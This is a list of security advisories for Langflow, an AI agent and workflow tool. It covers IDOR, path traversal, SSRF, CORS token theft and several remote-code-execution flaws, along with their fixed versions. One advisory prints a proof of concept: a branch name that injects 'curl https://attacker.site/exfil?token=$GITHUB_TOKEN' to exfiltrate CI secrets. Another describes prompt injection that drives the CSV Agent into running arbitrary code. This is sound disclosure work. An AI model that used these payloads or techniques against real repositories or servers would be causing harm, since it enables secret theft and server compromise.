langflow-ai/langflow

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, an Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.1, unauthenticated users can upload any amount of data to the server without any limitations. No need for any prior knowledge, only network access to Langflow. This can lead to space exhaustion on the server. In addition, in the response, the absolute path of the uploaded file is reported to the attacker, which is an information leak that can assist in chaining other primitives. This vulnerability is fixed in 1.9.1.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, by controlling a files that are digested into the RAG, an attacker can direct the node to read any file on the file-system by absolute path. All components based on BaseFileComponent are vulnerable to the vulnerability. This includes Docling (DoclingInlineComponent), Docling Serve, DoclingRemoteComponent), Read File (FileComponent), NVIDIA Retriever Extraction (NvidiaIngestComponent), Video File (VideoFileComponent), and Unstructured API (UnstructuredComponent). This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.0.19, an attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. This vulnerability is fixed in 1.0.19.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.7.0, the logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in. This vulnerability is fixed in 1.7.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.10.0, the "Shareable Playground" (or "Public Flows" in code) contains a potential arbitrary file-read vulnerability, depending on the exact flow configuration used. By making a flow public, public execution of the flow is allowed. The execution request can contain a list of files that gets read by Langflow and fed into the LLM. The files path can be any path supported by the storage - it can be either a local file or S3 path if supported by the local configuration This vulnerability is fixed in 1.10.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (POST /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are used directly to create file paths without proper sanitization or containment checks. An authenticated attacker can exploit this flaw to create directories and write files anywhere on the server's filesystem. This vulnerability is fixed in 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied. This vulnerability is fixed in 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (DELETE /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are concatenated directly into file paths without proper sanitization or boundary validation. An authenticated attacker can exploit this flaw to delete arbitrary directories anywhere on the server's filesystem, leading to data loss and potential service disruption. This vulnerability is fixed in 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.5.1, the `_read_flow` helper in `src/backend/base/langflow/api/v1/flows.py` branched on the `AUTO_LOGIN` setting to decide whether to filter by `user_id`. When `AUTO_LOGIN` was `False` (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it. This allowed any authenticated user to read any other user's flow, including embedded plaintext API keys; modify the logic of another user's AI agents, and/or delete flows belonging to other users. The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with `user_id = NULL`) under auto-login mode, but inadvertently left the authenticated path without an ownership filter. The fix in version 1.5.1 removes the `AUTO_LOGIN` conditional entirely and unconditionally scopes the query to the requesting user.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization. Version 1.7.0.dev45 contains a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, if an arbitrary path is specified in the request body's `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is. Version 1.7.0 fixes the issue.

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127[.]0[.]0[.]1, the 10/172/192 ranges) or cloud metadata endpoints (169[.]254[.]169[.]254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. Version 1.7.0 contains a patch for this issue.

Langflow versions up to and including 1.6.9 contain a chained vulnerability that enables account takeover and remote code execution. An overly permissive CORS configuration (allow_origins='*' with allow_credentials=True) combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. An attacker-controlled origin can therefore obtain fresh access_token / refresh_token pairs for a victim session. Obtained tokens permit access to authenticated endpoints — including built-in code-execution functionality — allowing the attacker to execute arbitrary code and achieve full system compromise.

Langflow is a tool for building and deploying AI-powered agents and workflows. A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. A patched version has not been made public at this time.

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.

Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_component" endpoint and provide a Python script.